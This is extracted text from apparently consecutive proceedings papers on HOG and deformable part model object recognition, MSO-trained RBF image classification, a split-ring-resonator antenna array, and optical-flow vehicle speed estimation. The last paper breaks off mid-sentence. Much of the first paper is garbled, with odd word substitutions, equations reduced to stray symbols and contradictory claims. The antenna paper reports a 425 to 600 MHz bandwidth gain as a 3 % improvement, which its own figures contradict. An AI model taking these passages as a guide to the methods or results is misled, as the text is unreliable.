e-mail: soumyaranjanmishra.in@gmail.com

646 T. Alekhya and S. Ranjan Mishra
multiscale deformable part models. The deformable part models are prepared by
utilizing selective procedure that requires the bounding boxes for the objects in a
cluster of images. Our proposed work diagrams on the pictorial structure framework
entitled objects by a set of parts accumulated in a deformable configuration. Every
part gets adjacent appearance properties of an object, while the deformable config-
uration is characterized by spring-like relationship between particular collections of
parts. For deformable part models, for occurrence, pictorial structures give an elegant
framework for object recognization. On troublesome datasets, deformable part
models are regularly outflanked by less complicated models, for occurrence, hard
templates. The objective of our system is to address this execution gap. While
deformable models can catch significant varieties in appearance, a typical deformable
model is tolerable to represent a rich object class. Consider the issue of demonstrating
the presence of automobiles in photos [1]. Individuals manufacture from variety of
kinds of bikes (e.g., drift bicycles, two wheelers, and a little one) and view them in
varied poses. The proposed work here utilizes the mixture models to manage these
more significant varieties. We are inevitably inspired by modeling oecus in “vigrmr,”
and grammar-based models conclude deformable part models by representing objects
using variable position structures. Each part in a grammar-based model can be por-
trayed especially or as far as diverse parts are concerned.
These models likewise give a characteristic structure for sharing information and
processing between distinctive object classes. We have taken research methodology
under which we have moved to richer model by maintaining high performance but
grammar-based model is our ultimate goal. Increasing the performance by
enhancing the model will be the difficult work. Simple models which are present are
very outdated in computer vision such as machine translation, speech recognition,
and data recovery. Some of the fundamental methods include support vector
machine (SVM). Prosperous models are very difficult to train, because they often
may use latent information. Consider the problem of training part-based models
from images characterized by keeping bounding boxes around the object. Since the
location of the part is not labeled, they must be treated as hidden variables during
training. More complete classification of the objects may support better training, but
labeling done for substandard parts may result in lesser training. For naturally
finding the efficient parts, programmed part labeling can possibly give better output.
More difficult classification is also the time consuming and expensive.
2 Existing Work
In the existing work, the system is trained only to detect objects which are com-
pletely visible and the system is only able to detect front view (as per the system
trained). In the existing work, they used HOG and classified the object whether that
is human or not (system trained by only considering the human object). Histogram
of oriented gradients (HOG) is a highlight descriptor utilized as a part of computer
vision and image processing with the end goal of object recognition. In the
Object Recognition with Discriminately Trained Part-Based Model … 647
restricted segment of a picture, this strategy counts occurrences of gradient orien-

tation [2]. This technique is like that of scale invariant feature that transform
descriptors, edge orientation histograms, and shape contexts; however, it is
diversely processed on a thick lattice of consistently separated cells and uses
overlapping neighborhood contrast standardization for enhanced precision.
In June 2005, CVPR paper Navneet Dalal and Bill Triggs first defined histogram
of oriented gradient descriptors for the research to the French National Institute for
Research in Computer science and Control (INRIA). In this research contribution,
they focused on the pedestrian detection in static images, and they also extended
their tests for human detection in films and videos, also for animals and vehicles in
static images.
The proposed system consists of 3 stages, and they are as follows:

(1) Extract features from image using HOG.
(2) Generate deformable part along with cost of object model by using coarse root
filter.
(3) Train the system by combining the HOG weighted features and deformable
part along with the cost to detect the object.
3.1 Extract Features from Image Using HOG
We take after the development to characterize the thick representation of a picture at

a specific determination. The picture is initially isolated into 8 × 8 noncoincidental
regions. These histograms are intensity invariable to little deformations and yet get
neighborhood shape plots. The gradient at each and every pixel is diverse into one
of nine, and each pixel orientation bins “votes” for the orientation of its residuals,
which is having a quality that relies upon the gradient weight. We process the
gradient of every shading channel and pick the channel with the most noteworthy
gradient consequences at every pixel for the shading pictures. At last, the histogram
of each block is standardized for the gradient energy in and around the area. We
take a gander at the four 2 × 2 pieces of cells that contain a particular cell and
disorganize the histogram of the given cell concerning the total energy in each and
every square. This prompts a vector of size 9 × 4 representing the neighborhood
gradient information inside a block. We describe a HOG feature pyramid by
measuring HOG features of every level of a typical picture pyramid. Features at the
highest point of this pyramid catch the coarse gradients histogrammed over fairly
vast areas of the info picture, while features at the paltry of the pyramid catch better
gradients histogrammed over small regions.
3.2 Filters
Filters are rectangular formats indicating weights for subwindow of a HOG pyra-
mid. A w by h filter F is a vector with w × h × 9 × 4 weights. The score of a channel
is characterized by taking the dot product of the weight vector and the highlights in
a w × h subwindows of a HOG pyramid. The framework in [3] utilizes a solitary
filter to characterize an object model. That framework recognizes objects from a
specific class by scoring each w × h subwindow of a HOG pyramid and thres-
holding the scores. Let H be a HOG pyramid and p = (x, y, l) be a cell in the ith
level of the pyramid. Let −(H, p, w, h) mean the vector got by connecting the HOG
highlights in the w × h subwindow of H with upper left corner at p. The score of
F on this recognition window is F · −(H, p, w, h). Underneath, we utilize −(H, p) to
indicate −(H, p, w, h) when the measurements are clear from the context.
3.3 Deformable Part Base Model
Here, we consider models characterized by a coarse root filter that covers the whole
object and higher resolution part filter covering littler parts of the object. The root
filter area characterizes the recognition window (the pixels inside the cells covered
by the filter). A few levels down the part filters are put in the pyramid; at that level,
HOG cells have a large quantity of the extent of cells in the root filter level. We have
noticed that utilizing higher resolution features for characterizing part filters are a
key for getting high detection performance. The edges conveyed in the root filter are
having less exactness and cumbersome resolution when contrasted and the part
filters which are having better resolution edges are limited to more noticeable
precision. For instance, building as a model for a face is considered [4]. For coarse
resolution edges, for example, the face limit could catch by root filter keeping in
mind the part filter could catch points of interest, for example, eyes and nostril.
Formally, root channel describes the miniature for an object with q parts and a
procedure of action for part miniature (P1…. Pq) where Pi = (Ei, ui, ti, bi, ci). Here,
ti is the size of box, bi and ci are the two-dimensional vectors which exhibit
belongings of quadratic function to calculate the score for each conceivable posi-
tion, Ei is the filter, and ui is a two-dimensional vector with instance of an
achievable location of the part i appreciation to the root location [5]. Figure 1
outlines a individual miniature. In HOG pyramid, a stage of a miniature is given by
z = (P0 …Pq) and location of the root channel when i = 0 and location of ith part
when i > 0 is Pi = (ji, ki, li). The level of every element is such that an extensive
segment of the significance of a HOG blocks at the root. A local score is given by
every filter score in addition to the score of the position in every part with respect to
the root, Xn i = 0:
Fig. 1 HOG feature extraction
Ei ðH; piÞ þ Xn i ¼ 1 bi ð~xi; ~yiÞ þ ci ð~x2i ; ~y2 i Þ ð1Þ
Region of the ith part in contrast to root area is given by the equation
ðð~xi; ~yiÞ ¼ ððxi; yiÞ 2ðx; yÞ þ uiÞ=ti. Both ~xi and ~yi lies in the middle of −1 and
1. In HOG pyramid, there is vast number of localities. To detect the better location
Fig. 2 Proposed architecture
Fig. 3 Extract features from

image using HOG
for the element in a miniature as an element of the root locality by utilizing the
dynamic programming and distance transformation techniques, this yields
the efficiency of O(ab), where a is the quantity of parts in the miniature and b is
the quantity of cells in the HOG pyramid. To identify objects in a picture, we
score root areas as per the best conceivable situation of the parts and edge this
score. The score of a position z can be exhibited in the form of dot product
(Figs. 2 and 3).
4 Combination of DPM and HOG
Consider the test picture and extract the features from picture utilizing HOG and
consolidating the object model which will come about the HOG highlight weighted
by the object model for this deformable part model that is added to recognize the
objects.
The experiment is done on the three different objects, cars, and human images
in different views. First, we train the system and store base value for bounding
container of each object class. These bounding box ground truth values are
got from aggregation of HOG and DPM algorithms, and using SVM, we
classify the objects from the input dataset. At the time of testing, we have to
locate the bounding containers of all objects which are accessible in training
dataset and we are ready to perceive the objects from test pictures. By and by
the proposed framework will yield accumulation of bounding containers and
its scores, and we can begin these scores at different points. We have done an
experiment on some images we have gathered, and the proposed work gives
the finer accuracy for the objects in some of the outputs from the example as
shown below.
Training phase
Human training part
Car Training part in different views
Test Phase Results
6 Conclusions
In this proposed work, we were using the combination of HOG and DPM algo-
rithms and classifying the objects using SVM algorithm. Our proposed framework
can recognize objects in different views. The proposed framework improves some
efficiency and accuracy compared to the previous works. A result shows that the
proposed framework gives the finer accuracy.
References
1. Felzenszwalb, P., McAllester, D., Ramanan, D.: A Discriminatively Trained, Multiscale,

Deformable Part Model. 978-1-4244-2243-2/08/$25.00 ©2008 IEEE
2. Dalal, N., Triggs, B.: Histograms of oriented gradients for human detection. In: Proceedings of
the 2005 IEEE Computer Society Conference on Computer Vision and Pattern Recognition
3. Felzenszwalb, P., McAllester, D., Ramanan, D.: Visual object detection with deformable part
models. Commun. ACM 56(9), 97 (2013)
4. McAllester, D., Ramanan, D.: Object detection with discriminatively trained part-based models.
IEEE Trans. Pattern Anal. Mach. Intell. 32(9), 1627–1645 (2010)
5. Viola, P., Jones, M.: Rapid object detection using a boosted cascade of simple features.
0-7695-1272-0/01 $10.00 0 2001 EEE
Accuracy Assessment of Images
Classification Using RBF
with Multi-swarm Optimization
Methodology
G. Shyama Chandra Prasad, A. Govardhan and T.V. Rao
Abstract Pattern recognition issues in contemporaneous applications and its per-

formance enhancement in learning system using multi-swarm optimization radial
basis function neural network is focused on in this paper. To improve efficiency of
pattern recognition, multi-swarm optimization is used as the extension of the
conventional radial basis function network. The extended neural modeling with
radial network and with the incorporation of multi-swarm optimization has proved
better accuracy than the traditional and PSO-RBF-neuro modeling. A comparative
evaluation is carried out for retrieval accuracy for the developed recognition system
and is evaluated for the accuracy for the pattern recognition system.
Keywords Multi-swarm optimization Radial basis function network Neural

network Pattern recognition
1 Introduction
Particle swarm optimization (PSO) is a comparatively new, latest, and dominant

method of optimization that has been shown to perform well on many optimization
problems [1]. PSO has been successfully applied in many research and application
areas like fuzzy logic, artificial neural network, global optimization problems, and
many other applications. Moreover, for global optimization, PSO works more
G. Shyama Chandra Prasad (&)

Matrusri Engineering College, Saidabad, Hyderabad, T.S, India
e-mail: shyam_gunda2002@yahoo.co.in
A. Govardhan
School of Information Technology, JNTUH, Kukatpally, T.S, India
e-mail: govardhan_cse@yahoo.co.in
T.V. Rao
P.V.P. Siddhartha Engineering College, Vijayawada, A.P, India
e-mail: tv_venkat@yahoo.com

656 G. Shyama Chandra Prasad et al.
effectively and has shown advantages. PSO does not work well while solving more
difficult problems like dynamic problems [2, 3]. This work introduces an idea and
detailed explanation of the PSO and improved versions of PSO, namely MSO
algorithm. These methods are used to assess the classification efficiency of PSO as
well as MSO. In order to improve the performance of PSO to solve complex
problems a new algorithm is presented, called multi-swarm optimization (MSO),
which is suitable even for dynamic environments. In MSO, it maintains more than
one swarm. Each swarm consists of several particles [4]. Particles try to change
their position based on the calculated error and calculates the updated particle
values as weights of RBF network which plays an important role for classification
of natural images [5, 6].
This paper discusses a study of natural image classification using PSO and MSO
as training of RBF NN and K-means algorithm used to find the centroids values.
This work proved that MSO shows better result than PSO and traditional RBF
methods.
2 Multi-swarm Optimization
MSO works differently compared to particle swarm optimization. MSO is most

dynamic position changes and newly defined in the radial basis function network.
This method is most suitable for dynamic environments and is used to find the best
values and cover a large area of numerical space compared to particle swarm
optimization.
This method uses several swarms of particles rather than a single swarm.
In MSO particles movement is the same as particle swarm optimization particles.
MSO maintains GlobalMultiBestPosition and GlobalMultiBestError. In this
method, particle moves to a new position if the new position error value is less than
the Pbest. After updating the particle position, swarm values are updated when new
position error value is less the Gbest. GlobalMultiBestPosition is updated when the
error value of GlobalMultiBestError is less than Gbest. Each step compares with
GMbest (GlobalMultiBestPosition and Error) and then it updates the multi-swarm
values (Fig. 1).
3 Results and Discussions
Data are collected from the Corel image database. Corel is available with 1000,
5000, and 10000 images. For all these images are extracted 27 features. These 27
data features are divided into three parts.
1. Color (Count–3): Mean value of each of the color spaces are chosen as color
features [7].
Accuracy Assessment of Images Classification Using RBF … 657
Fig. 1 Proposed MSO algorithm
2. Texture (Count–12): Variance, coefficient of variation, energy, and entropy is

calculated for each color [7].
3. Wavelet features (Count–12): Decompose an image into subbands at one level
with approximation, horizontal, vertical, and diagonal for each color [7].
Using 1000 images, the following cases are defined for analyzing accuracy
results; here all test data are selected randomly. The test data take different values
like 50, 200, 300, 500, 600, and 800; the train data are considered as 950, 800, 700,
500, 400, and 200.
Case 1: Training Data is for 950 images and the other 50 images are consid-
ered as test data Table 1 and Fig. 2 show the results of the first test case. Here, the
training data is for 950 images and test data is for 50 images. In this case, train data
is more than test data. Here, MSO-RBF has 92 % test accuracy which is more than
the other methods.
Case 2: Training Data is for 800 images and the other 200 images are con-
sidered as test data Table 2 and Fig. 3 illustrate the results of the second test case.
In this case, training data is with 800 images and test data is with 200 images. Here
also, MSO-RBF accuracy is more than all the other methods. This case is compared
with the previous case of MSO accuracy and is almost the same but PSO accuracy
is reduced considerably. Further, PSO also gives better accuracy than the other two
methods.
Table 1 Accuracy values for Model Final test Acc

case 1
RBF 58
K-means RBF 66
PSO-RBF 84
MSO-RBF 92
Fig. 2 Comparison of
accuracy values for case 1

case 2
RBF 51.5
K-means RBF 59.5
PSO-RBF 73.5
MSO-RBF 89.5

case 3
RBF 51
K-means RBF 63
PSO-RBF 76.33
MSO-RBF 88.33
Case 3: Training Data is with 700 images and the other 300 images are con-
sidered as test data Table 3 and Fig. 4 illustrate the results of the test case with
300 test images and 700 train images. Here, the main observation is that there is not
much variation in the accuracy of the MSO, yet PSO accuracy is not improved
much compared with case 2. However, PSO accuracy is greater than the other two
methods even in this case.
sidered as test data Table 4 and Fig. 5 describe the results of test case 4, with the

case 4
RBF 53.2
K-means RBF 59.4
PSO-RBF 71.8
MSO-RBF 88.6
same number of train data and test data, which is each of 500 images. Here, even
50 % data is used as test data, MSO-RBF shows more accurate results and out-
performs with the best accuracy in comparison with other methods, but in PSO
there is little change in accuracy than previous cases.
sidered as test data Table 5 and Fig. 6 present the results of the test case with 600
test images. In this case, train data is less than test data. Even in this case, it shows
that MSO and RBF continue with the similar accuracy values.
sidered as test data Table 6 and Fig. 7 present the results of the test case with 600
test images. In this case, there is greater difference between train data and test data
accuracy, compared with other cases. Even MSO-radial basis function maintains
good accuracy with 85 %.
Table 7 and Fig. 8 show the test data accuracy of all the cases. More information
about this research is given in Fig. 8 MSO-radial basis function and PSO-RBF
method are not down direction, when increasing test data sets is most stable even
train data decrease and test data increases. Other methods are much varied with
increasing test data sizes.
Finally, this research demonstrates that the new method MSO-RBF has better
accuracy in comparison with other methods even in the case when test data is high
and with less train data.

case 5
RBF 48
K-means RBF 51
PSO-RBF 76.17
MSO-RBF 87.34

case 6
RBF 38
K-means RBF 42
PSO-RBF 72.12
MSO-RBF 85.36
Table 7 All the cases with accuracy values for different systems
No. of. training data No. of. test data RBF K-means RBF PSO-RBF MSO-RBF
950 50 58 66 84 92
800 200 51.5 59.5 73.5 89.5
700 300 51 63 76.33 88.33
500 500 53.2 59.4 71.8 88.6
400 600 48 51 76.17 87.34
200 800 38 42 72.12 85.36
Fig. 8 Comparison of accuracy values for various systems
4 Conclusions
The accuracy assessment of images using RBFNN, K-Means RBFNN,

PSO RBFNN, and MSO RBFNN is emphasized in this research. Radial basis
function neural network gives 58, 51.5, 51, 53.2, 48, and 38 % of test accuracy. In
this method, centroids are defined randomly and weights and bias values are defined
using Inversion Matrix method. The next method is K-Means Radial Basis Function
Neural Networks, which is mainly defining Centroid values using K-Means
Clustered algorithm. This causes improvement of additional ancillary information
over the correspondence process. Centroid data point is always the better center
element compared to all elements in divided clustered. K-Means Radial Basis
Function Neural Networks formed 66, 59.5, 63, 59.4, 51, and 42 % test accuracy.
Comparing with the first method, this method is more accurate. Yet accuracy is not
much different and needs to improve by defining proper weights and bias values.
Current research trends use optimization methods to find better numerical values.
One of the best and benchmark optimization algorithms is PSO, used to compute
complex functions. Constructed PSO radial basis function NN produced 84, 73.5,
76.33, 71.8, 76.17, and 72.12 % test accuracy values. Compared to the previous two
methods, accuracy is improved. To improve the accuracy there is a method called
global optimizations. Our research has focused to use the right method for solving
this problem, which is multi-swarm optimization. Using MSO we constructed best
MSO-radial basis function neural networks. This method achieved the best accu-
racy results for different dynamic cases. MSO-RBF produced the following accu-
racy for test data: 92, 89.5, 88.33, 88.6, 87.34, and 85.36 %. Compared with all
existing methods, our proposed method is more accurate. Hence, our research has
demonstrated our analysis with all datasets.
Finally, MSO-RBF NN has given better results in image classification over
existing methods of neural network methods.
5 Future Scope
The work in this paper shows that MSO-RBF with used features leads to better
accuracy in all the different test cases. However, in large scale datasets, several
image feature combinations and several approaches under dynamic conditions
should be combined to lead better retrieval accuracy.
In the future, this work can be extended by including more wavelet features in
different dimensions. MSO can be used for various business applications. This can
also be extended toward MSO dynamic environments with higher dimensions.
This research can be extended in different dimensions and are specified below:
1. MSO may be extended with genetic algorithms which are also used to solve
many applications.
2. In this work, weight and bias values are defined using MSO and PSO. To define
standard deviation (SD) value also MSO or PSO can be used.
3. Present research work is carried using a swarm with multiple particles and
multi-Swarms with many swarms. This can be further extended to multi-N-level
swarms.
References
1. Qingjiang, L.I.: Tuberculosis prediction method based on PSO-RBF neural network. J. Comput.
Inf. Syst. 8, 10243–10250 (2012)
2. Sharma, J., Mehta, S.: Training of radial basis function using particle swarm optimization. Int.
J. Eng. Res. Dev. 7(10), 01–10 (2013). e-ISSN:2278-067X, p-ISSN:2278-800X, www.ijerd.com
3. Zirkohi, M.M., Fateh, M.M., Akbarzade, A.: Design of radial basis function network using
adaptive particle swarm optimization and orthogonal least squares. J. Softw. Eng. Appl. 3, 704–
708 (2010)
4. Qasem, S.N., Shamsuddin, S.M.H.: Improving generalization of radial basis function network
with adaptive multi-objective particle swarm optimization. In: Proceedings of the IEEE
International Conference on Systems, Man, and Cybernetics San Antonio, TX, USA (2012)
5. Omran, M.G.H., Engelbrecht, A.P., Salman, A.: Dynamic clustering using particle swarm
optimization with application in unsupervised image classification. Trans. Eng. Comput.
Technol. 9, (2005). ISSN:1305-5313
6. Arvind, T., Venkataraman, S., Prem, K.K.: Content based image classification with wavelet
relevance vector machines. J. Soft Comput. 14(2), 129–136 (2010)
7. Kekre, H.B., Sudeep, T., Akshay, M.: Query by image content using color-texture features
extracted from haar wavelet pyramid. In: IJCA Special Issue on Computer Aided Soft
Computing Techniques for Imaging and Biomedical Applications, CASCT (2010)
Microstrip Patch Antenna Array
with Metamaterial Ground Plane
for Wi-MAX Applications
Chirag Arora, Shyam S. Pattnaik and R.N. Baral
Abstract In this paper a microstrip patch antenna array, loaded with a pair of Split
Ring Resonators (SRR), has been presented. This antenna is designed for IEEE
802.16a 5.8 GHz Wi-MAX applications. A pair of SRR has been etched on the
ground plane of the antenna. This loading of SRR provides better matching con-
ditions in the desired frequency band along with improvement in gain and
enhancement in bandwidth. The unloaded antenna array resonates at 5.8 GHz with
gain and bandwidth of 4.15 dBi and 425 MHz, respectively, whereas when the
same antenna array is loaded with split ring resonators, the gain increases to 5.9 dBi
and bandwidth reaches to 600 MHz. The electrical length of the patch is
0.23λ × 0.3λ. Suppression of higher harmonics and reduction in mutual coupling
between the elements of patch antenna array, due to metamaterial loading, has also
been analyzed.

Keywords Microstrip patch antenna Mutual coupling reduction Split ring

resonator Negative permeability Wi-MAX Metamaterial
1 Introduction
Microstrip patch antennas are usually low-gain antennas and still used very com-
monly due to low cost and easy fabrication [1]. Due to excitation of surface waves
over the substrate layer, they also have reduced radiation efficiency [2, 3]. However,
microstrip patch antennas can be easily grouped in the form of arrays to obtain
C. Arora (&)
Krishna Institute of Engineering & Technology, Ghaziabad, Uttar Pradesh, India
e-mail: c_arora2002@yahoo.co.in
S.S. Pattnaik
National Institute of Technical Teachers’ Training and Research, Chandigarh, India
R.N. Baral
IMS Engineering College, Ghaziabad, Uttar Pradesh, India

666 C. Arora et al.
enhanced bandwidth and high gain. An integrated array designed in this way is
small in size and lightweight [4, 5]. Linear array of microstrip patch antennas are
used for various applications, such as multiple input multiple output systems, radar
applications, etc. One of the most important requirements for these applications is
high integration densities to efficiently utilize the maximum available space present
on the substrate [6]. Also, necessary isolation between adjacent patch antenna and
additional incorporated components on the same substrate is required. To reduce the
total size of an array, the elements of an antenna array can be placed close to each
other. However, by reducing the gap between the antenna elements, mutual cou-
pling due to excited surface waves becomes higher, resulting in performance
degradation of the antenna array. Hence, an approach is required which is capable
to reduce the inter-element spacing, while preserving the necessary isolation.
Several techniques to improve the problem of mutual coupling have been proposed
in the previous literature. However, all of these methods have some pros and cons.
Zhu et al. proposed a ground plane pattern that efficiently decreases mutual cou-
pling. However, this method also distorts the radiation pattern to a large extent [6].
Farabani et al. introduced the electromagnetic band gap structure for isolation
between circular patch antennas, but structures were complex and optimization of
design was difficult to achieve [7]. A method of inserting a slot was suggested by
Yang et al., which considerably reduced the inter-element mutual coupling. Though
this technique was simple to implement, it considerably changed the rear-end
radiation pattern of the antenna [2]. Also, all such periodic structures increased the
antenna dimensions and weight to a large extent. In [8], Ibraheam et al. tilted the
patch elements along the elevation to reduce the mutual coupling between elements.
Though this method provided good results, the structure is difficult to implement as
precise tilting is required.
In the present work, isolation between the elements of microstrip antenna array
was achieved by use of a pair of SRRs etched on the ground plane of array. SRRs
act as canonical metamaterial structures, giving rise to an effective negative per-
meability, with a stopband in its resonant frequency band [9]. This proposed
approach not only improves the isolation between two antenna elements but also
helps in suppression of higher harmonics.
2 Antenna Design
Figure 1a shows the geometrical structure of a two-element conventional microstrip

patch array and Fig. 1b depicts the antenna array with split ring resonators etched
on the ground plane. The proposed microstrip patch antenna array is designed on
FR-4 substrate of thickness (h) = 1.48 mm, dielectric constant (εr) = 4.4 and loss
tangent = 0.01. 50 Ω SMA coaxial connector is used to feed the array. The use of an
FR-4, which is an inexpensive substrate, makes the design low profile, easy to
fabricate, and economical. Figure 2 shows the cross-sectional view of the proposed
antenna array.
Microstrip Patch Antenna Array with Metamaterial Ground Plane … 667
Fig. 1 Geometrical sketch of a 2-element antenna array. b Proposed antenna array with SRRs
loaded on ground plane
Fig. 2 Cross-sectional view of the proposed antenna array
Table 1 Dimensions of Parameters Dimensions (mm)

conventional patch antenna
array a 11.95
b 0.5237
c 2.8758
d 0.5237
e 1.38
f 7.55
i 15.88
j 7.55
h 1.48
The width (W) and length (L) of patch, as calculated using transmission line
model equations [10, 11], are 15.88 and 11.95 mm respectively. Thus the aspect
ratio (L/W) of the patch is 0.75. Table 1 shows the various dimensions of the
conventional antenna array. The corporate feed network is used to edge feed the
elements of the array. The spacing between the two patched of the antenna array is
0.96 (λg/2), where λg is the guided wavelength. This type of feeding network
provides power split using quarter wave impedance transformer [12].
668 C. Arora et al.
To match the patch with 50 Ω line, a quarter wave transformer of 109.2 Ω is

used. The width (w) of this quarter wave transformer and 50 Ω transmission line, as
calculated from [11], is 0.5237 and 2.8758 mm, respectively. The length of quarter
wave transformer is calculated as 7.55 mm. SRRs are etched on the ground plane in
such a way that they do not increase the overall size of the proposed antenna array,
that is, the dimensions of loaded as well as unloaded antennas are the same. The
geometrical dimensions of the SRR are as follows: length of outer split-ring
Ls = 10.50 mm, width of rings (w) = 0.2 mm, gap between split of rings
(g) = 0.2 mm, and distance between outer and inner split-rings (s) is set to as 1 mm.
The distance between antenna array and SRRs is 1 mm in both vertical and hori-
zontal directions. The spacing between two SRRs is fixed at 0.2 mm.
In this section, the simulated results of the proposed antenna array in loaded and
unloaded conditions are presented. Figure 3 depicts the return loss characteristics of
the proposed array under both, loaded, and unloaded conditions. It is observed that
the unloaded antenna array resonates at 5.8 GHz with bandwidth of 425 MHz,
whereas when a pair of SRRs is etched on the ground plane of the conventional
array bandwidth increases up to 600 MHz at the same resonant frequency, thus
corresponding to the bandwidth improvement of 3 %. The dimensions of the array
under both the conditions are the same. Thus, the bandwidth has improved at no
extra hardware cost. Figure 2 also shows that better matching conditions are
obtained when the array is loaded with the SRRs. It is observed that under loaded
conditions the dip reaches to −55 dB, which was −33 dB for unloaded conditions.
Figures 4 and 5 represent the radiation pattern characteristics of loaded and
unloaded antenna array in azimuth and elevation plane respectively. It is observed
Fig. 3 S11 characteristics of a Unloaded antenna array. b Proposed antenna array with SRRs
loaded on the ground plane
Fig. 4 Azimuth plane radiation pattern characteristics of a Unloaded antenna array. b Proposed
loaded antenna array
Fig. 5 Elevation plane radiation pattern characteristics of a Unloaded antenna array. b Proposed
loaded antenna array
that the conventional antenna array resonates with gain of 4.15 dBi. However, when
SRRs are etched on the ground plane of the array the gain increases to 5.9 dBi.
The inductance (L) of the microstrip patch antenna array with the capacitance
(C) of SRRs produces the LC resonant circuit of the SRR loaded antenna. This
inductance and capacitance compensate each other and hence excellent matching is
670 C. Arora et al.
obtained at the resonant frequency. Also, under loaded conditions, magnetic cou-
pling between antenna array and SRR develop the electric field between the gap
capacitance at the splits and capacitance between outer and inner rings of SRR. Due
to this magnetic coupling, mutual inductance between the elements of the array gets
reduced and the time-varying magnetic flux generated by the antenna induces
current on SRR. It produces a large electric field across the capacitance associated
with SRR. This capacitance of SRR is quite large to match with the inductance of
the array, which leads to reduction in mutual coupling between the elements of the
array.
4 Conclusions
In this paper a microstrip patch antenna array, with SRRs etched on the ground
plane, has been presented. The proposed antenna can be used for IEEE 802.16a
5.8 GHz Wi-MAX applications. Under loaded conditions, better matching condi-
tions along with improvement in bandwidth and gain is observed. Loading of SRRs
not only suppresses the higher harmonics but also reduces the surface waves and
mutual coupling between the elements of patch antenna array. The advantage of this
proposed antenna is that its performance gets improved at no extra size and cost.
Fabrication of this antenna array is under process and measured results shall be
presented in subsequent publications.
References
1. James, R., Hall, P.S.: Handbook of Microstrip and Printed Antennas. Wiley, New York (1997)
2. Yang, J.O., Yang, F., Wang, Z.M.: Reducing mutual coupling of closely spaced microstrip
MIMO antennas for WLAN application. IEEE Antennas Wirel. Propag. Lett. 10, 310–312
(2011)
3. Liu, Z.: Suppression of the mutual coupling between microstrip antenna arrays using negative
permeability metamaterial on LTCC substrate. In: IEEE Antenna Propagation Symposium
Society, pp. 1258–1259 (2013)
4. Elhefnawy, M., Ismail, W.: A microstrip antenna array for indoor wireless dynamic
environments. IEEE Trans. Antenna Propag. 57(12), 3998–4002 (2009)
5. Pham, N.T., Gye-An, L, De Flaviis, F.: Microstrip antenna array with beam forming network
for WLAN applications. In: Proceedings of IEEE International Symposium Antennas
Propagation Society, vol. 3A, pp. 267–270 (2005)
6. Zhu, F.G., Xu, J.D., Xu, Q.: Reduction of mutual coupling between closely-packed antenna
elements using defected ground structure. Electron. Lett. 45(12), 601–602 (2009)
7. Farabani, H.S., Veysi, M., Kamyab, M., Tadjalli, A.: Mutual coupling reduction in patch
antenna arrays using a UC-EBG superstrate. IEEE Antennas Wirel. Propag. Lett. 9, 57–59
(2010)
8. Ibraheam, M., Krauss, A., Irteza, S., Matthias, A.H.: Reduction of mutual coupling in compact
antenna arrays using element tilting. In: Proceedings of Microwave Conference (GeMIC),
pp. 1–4, Germany (2014)
9. Joshi, J.G., Pattnaik, S.S., Devi, S., Raghavan, S.: Magneto-inductive waveguide loaded
microstrip patch antenna. Int. J. Microw. Opt. Technol. 7(1), 11–20 (2012)
10. Garg, R., Bhartia, P., Bhal, I., Ittipiboon, A.: Microstrip Antenna Design Handbook. Artech
House, Boston (2001)
11. Balanis, C.A.: Modern Antenna Handbook. Wiley, New York (2011)
12. Pozar, D.M.: Microwave Engineering. Wiley, New York (2008)
Tracking and Speed Estimation of Moving
Vehicle for Traffic Surveillance System
Kamaraju Kamakula, J. Sharmila Rani, G. Santhosi

and G. Gowri Pushpa
Abstract Vehicle speed plays a crucial role in determining safety in traffic. In this
paper vehicle speed is automatically estimated from video sequences taken from a
single calibrated camera, so that this information can be used in controlling the
traffic. The vehicle motion is detected and tracked along the frames. Our proposed
system tracks the vehicles and gives the estimated speed of the vehicles using
optical flow technique-Lucas Kanade using Pyramidal implementation.
Keywords Optical flow Lucas kanade Pyramid Velocity estimation Object

tracking
1 Introduction
Video surveillance systems have minimized the need for the presence of humans in
monitoring activities captured by video cameras. One of the important applications
of video surveillance systems is traffic surveillance. These systems are utilized for
recognition of vehicle, monitoring security issues, detection of anomaly, traffic
monitoring, and estimation of speed of vehicles, classification of automobiles, and
many other purposes [1]. Velocity of vehicle, trajectory, traffic density, etc., can be
detected. If there is any disturbance, the recorded information can be sent to the
traffic authorities to take action.
K. Kamakula (&) J.S. Rani G. Santhosi G. Gowri Pushpa

e-mail: kkraj7121@gmail.com
J.S. Rani
e-mail: Sharmila.cse@anits.edu.in
G. Santhosi
e-mail: gsanthosi.cse@anits.edu.in
G. Gowri Pushpa
e-mail: gowripushpa.cse@anits.edu.in

674 K. Kamakula et al.
For traffic control and safety speed determination is an important variable.

Numerous higher density traffic areas are utilizing or starting to utilize program-
mable velocity postings. This permits higher density regions to have their posted
velocity points of confinement balanced taking into account present or recent traffic
patterns. Vehicle speed plays a critical part in deciding the probability or likelihood
of accidents, problem regions in crest hours, hazardous driver behavior, and so on.
Recent traffic videos can be used to consequently ascertain “recent” traffic speeds
which can then be utilized to adjust posted velocity limits, allot crisis/authorization
work force, and re-route activity of traffic by updating traffic information for
drivers. The result of this work may be pertinent for evaluating and monitoring
traffic flow, direction of crisis vehicles, security and wellbeing, and other traffic
management and planning.
The rest of this paper is organized as follows; in Sect. 2 we give the related work
in this field. Section 3 gives problem definition. Section 4 illustrates the proposed
work describing the Lucas Kanade pyramidal implementation. Section 5 specifies
results of the work. Section 6 gives the conclusion of the paper.
2 Related Work
2.1 Optical Flow
Optical flow is a popular technique in predicting the motion vector of a moving

object. There are two well-known algorithms, namely Lucas Kanade and Horn
Schunck [2]. In these two algorithms, Lucas Kanade gives better result, because the
HS algorithm works on the entire image rather than the necessary part of the image,
while LK algorithm works only on the necessary part of the image rather than the
entire image.
2.2 Horn Schunk Algorithm
Another classical optical flow algorithm is the Horn-Schunk algorithm (HS) [2]
known for its reasonable performance and simplicity. The HS algorithm estimates
the image velocity or motion vector based on spatial temporal gradient techniques.
It is a differential technique computed using a gradient constraint (brightness
constancy) with a global smoothness to obtain an estimated velocity field [2].
Advantage
It has a smooth flow and provides global information.
It uses accurate time derivatives, and also uses more than two frames.
Tracking and Speed Estimation of Moving Vehicle … 675
Disadvantage
It is an iterative method and so takes too much time to process the result.
The extracted images have unsharp boundaries.
2.3 Lucas Kanade Algorithm
It is the widely used differential method for estimating the optical flow [3]. It
assumes that the flow is essentially constant in a local neighborhood of the pixel
under review, and solves the basic optical flow equations for the entire pixel squares
criterion [4]. It works easily on small subset of points in the input image.
Advantage
Lucas Kanade algorithm is an easy and fast calculation algorithm.
Disadvantage
This algorithm produces errors on boundaries
This is limited because only one equation contains two unknown variables and it
suffers from aperture problem.
Using local window has certain drawbacks. If the image has a large motion, then
